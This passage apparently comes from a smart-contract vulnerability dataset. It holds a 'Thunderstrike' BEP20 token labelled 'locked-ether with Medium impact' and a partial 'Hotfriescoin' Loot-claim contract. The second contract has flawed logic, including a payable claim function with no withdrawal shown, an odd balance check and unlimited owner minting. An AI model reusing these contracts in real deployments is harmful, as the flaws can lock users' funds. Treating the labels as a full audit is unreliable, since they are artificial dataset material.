* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
bool public mintingFinished = false;
uint public mintTotal = 0;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
uint tmpTotal = mintTotal.add(_amount);
require(tmpTotal <= totalSupply_);
mintTotal = mintTotal.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BEP20Token is PausableToken, MintableToken {
// public variables
string public name = "Thunderstrike";
string public symbol = "THUNDER";
uint8 public decimals = 18;
constructor() public {
totalSupply_ = 100000000000000 * (10 ** uint256(decimals));
}
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-09-18
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// import "@openzeppelin/contracts/utils/Context.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol";
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/// @title Hotfricoin for Loot holders!
/// @author Hotfricoin <https://twitter.com/Hotfriescoin>
/// @notice This contract mints Hotfriescoin for Loot holders and provides
/// administrative functions to the Loot DAO. It allows:
/// * Loot holders to claim Hotfriescoin
/// * A DAO to set seasons for new opportunities to claim Hotfriescoin
/// * A DAO to mint Hotfriescoin for use within the Loot ecosystem
contract Hotfriescoin is Context, Ownable, ERC20 {
// Loot contract is available at https://etherscan.io/address/0xff9c1b15b16263c61d017ee9f65c50e4ae0113d7
address public lootContractAddress =
0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7;
IERC721Enumerable public lootContract;
// Give out 1243 Hotfriescoin for every Loot Bag that a user holds
uint256 public HotfriescoinPerTokenId = 1243 * (10**decimals());
// tokenIdStart of 1 is based on the following lines in the Loot contract:
/**
function claim(uint256 tokenId) public nonReentrant {
require(tokenId > 0 && tokenId < 7778, "Token ID invalid");
_safeMint(_msgSender(), tokenId);
}
*/
uint256 public tokenIdStart = 1;
// tokenIdEnd of 8000 is based on the following lines in the Loot contract:
/**
function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {
require(tokenId > 7777 && tokenId < 8001, "Token ID invalid");
_safeMint(owner(), tokenId);
}
*/
// 220000
uint256 public tokenIdEnd = 8000;
uint256 public PUBLIC_MINT_PRICE = 200000000000000; // 0.0002000000 eth
uint public MAX_SUPPLY = 4 * 10 ** (7+18);
uint public MAX_FREE_SUPPLY = 9.9944 * 10 ** (6+18);
uint256 public _totalSupply =4 * 10 **(7 + 18);
uint public MAX_PAID_SUPPLY = 2.9836 * 10 ** (7+18);
uint public totalFreeClaims = 0;
uint public totalPaidClaims = 0;
// uint public decimals = 0;
address private devWallet = 0x482e57C86D0eA19d7756Ea863fB8E58E6c69f0E9;
// Seasons are used to allow users to claim tokens regularly. Seasons are
// decided by the DAO.
uint256 public season = 0;
uint256 public contractorToken = 2.2 * 10 ** (5+18);
uint256 public tokenPrice = 0.0002 ether;
// 220,000 will be reserved for contratc creater
// Track claimed tokens within a season
// IMPORTANT: The format of the mapping is:
// claimedForSeason[season][tokenId][claimed]
mapping(uint256 => mapping(uint256 => bool)) public seasonClaimedByTokenId;
constructor() Ownable() ERC20("Hotfries", "HF") {
// Transfer ownership to the Loot DAO
// Ownable by OpenZeppelin automatically sets owner to msg.sender, but
// we're going to be using a separate wallet for deployment
// transferOwnership(0x482e57C86D0eA19d7756Ea863fB8E58E6c69f0E9);
lootContract = IERC721Enumerable(lootContractAddress);
_mint(msg.sender, (_totalSupply - MAX_FREE_SUPPLY));
_mint(lootContractAddress, MAX_FREE_SUPPLY);
// _mint(msg.sender, contractorToken);
// approve(address(this), _totalSupply - MAX_FREE_SUPPLY);
// payable(devWallet).transfer(contractorToken);
// toCreater();
// transfer(msg.sender, contractorToken);
}
// function toCreater() private{
// payable(lootContractAddress).transfer(MAX_FREE_SUPPLY);
// payable(msg.sender).transfer(contractorToken);
// }
/// @notice Claim Hotfriescoin for a given Loot ID
/// @param tokenId The tokenId of the Loot NFT
function claimById(uint256 tokenId) external {
// Follow the Checks-Effects-Interactions pattern to prevent reentrancy
// attacks
// Checks
// Check that the msgSender owns the token that is being claimed
require(
_msgSender() == lootContract.ownerOf(tokenId),
"MUST_OWN_TOKEN_ID"
);
// Further Checks, Effects, and Interactions are contained within the
// _claim() function
_claim(tokenId, _msgSender());
}
/// @notice Claim Hotfriescoin for all tokens owned by the sender
/// @notice This function will run out of gas if you have too much loot! If
/// this is a concern, you should use claimRangeForOwner and claim Hotfries
/// coin in batches.
function claimAllForOwner() payable public {
uint256 tokenBalanceOwner = lootContract.balanceOf(_msgSender());
// Checks
require( tokenBalanceOwner <= HotfriescoinPerTokenId); // Each loot bag owner claim 1243 HFC Maximum.
require(tokenBalanceOwner > 0, "NO_TOKENS_OWNED");
// i < tokenBalanceOwner because tokenBalanceOwner is 1-indexed
for (uint256 i = 0; i < tokenBalanceOwner; i++) {
// Further Checks, Effects, and Interactions are contained within
// the _claim() function
_claim(
lootContract.tokenOfOwnerByIndex(_msgSender(), i),
_msgSender()
);
}
}
//1243
function claimAllToken() external{
uint256 tokenBalanceOwner = lootContract.balanceOf(_msgSender());
// Checks
require(tokenBalanceOwner == HotfriescoinPerTokenId , "1243 HFC Claimed by each user");
// if all token is claimed then 1HFC = 0.0016 eth minimum value of reselling tokens.
PUBLIC_MINT_PRICE = 1600000000000000;
}
/// @notice Claim Hotfriescoin for all tokens owned by the sender within a
/// given range
/// @notice This function is useful if you own too much Loot to claim all at
/// once or if you want to leave some Loot unclaimed. If you leave Loot
/// unclaimed, however, you cannot claim it once the next season starts.
function claimRangeForOwner(uint256 ownerIndexStart, uint256 ownerIndexEnd)
external
{
uint256 tokenBalanceOwner = lootContract.balanceOf(_msgSender());
// Checks
require(tokenBalanceOwner > 0, "NO_TOKENS_OWNED");
// We use < for ownerIndexEnd and tokenBalanceOwner because
// tokenOfOwnerByIndex is 0-indexed while the token balance is 1-indexed
require(
ownerIndexStart >= 0 && ownerIndexEnd < tokenBalanceOwner,
"INDEX_OUT_OF_RANGE"
);
// i <= ownerIndexEnd because ownerIndexEnd is 0-indexed
for (uint256 i = ownerIndexStart; i <= ownerIndexEnd; i++) {
// Further Checks, Effects, and Interactions are contained within
// the _claim() function
_claim(
lootContract.tokenOfOwnerByIndex(_msgSender(), i),
_msgSender()
);
}
}
/// @dev Internal function to mint Loot upon claiming
function _claim(uint256 tokenId, address tokenOwner) internal {
// Checks
// Check that the token ID is in range
// We use >= and <= to here because all of the token IDs are 0-indexed
require(
tokenId >= tokenIdStart && tokenId <= tokenIdEnd,
"TOKEN_ID_OUT_OF_RANGE"
);
// Check thatHotfriescoin have not already been claimed this season
// for a given tokenId
require(
!seasonClaimedByTokenId[season][tokenId],
"GOLD_CLAIMED_FOR_TOKEN_ID"
);
// Effects
// Mark that Hotfriescoin has been claimed for this season for the
// given tokenId
seasonClaimedByTokenId[season][tokenId] = true;
// Interactions
// Send Hotfriescoin to the owner of the token ID
_mint(tokenOwner, HotfriescoinPerTokenId);
}
/// @notice Allows the DAO to mint new tokens for use within the Loot
/// Ecosystem
/// @param amountDisplayValue The amount of Loot to mint. This should be
/// input as the display value, not in raw decimals. If you want to mint
/// 100 Loot, you should enter "100" rather than the value of 100 * 10^18.
function daoMint(uint256 amountDisplayValue) external onlyOwner {
_mint(owner(), amountDisplayValue * (10**decimals()));
}
/// @notice Allows the DAO to set a new contract address for Loot. This is
/// relevant in the event that Loot migrates to a new contract.
/// @param lootContractAddress_ The new contract address for Loot
function daoSetLootContractAddress(address lootContractAddress_)
external
onlyOwner
{
lootContractAddress = lootContractAddress_;
lootContract = IERC721Enumerable(lootContractAddress);
}
/// @notice Allows the DAO to set the token IDs that are eligible to claim
/// Loot
/// @param tokenIdStart_ The start of the eligible token range
/// @param tokenIdEnd_ The end of the eligible token range
/// @dev This is relevant in case a future Loot contract has a different
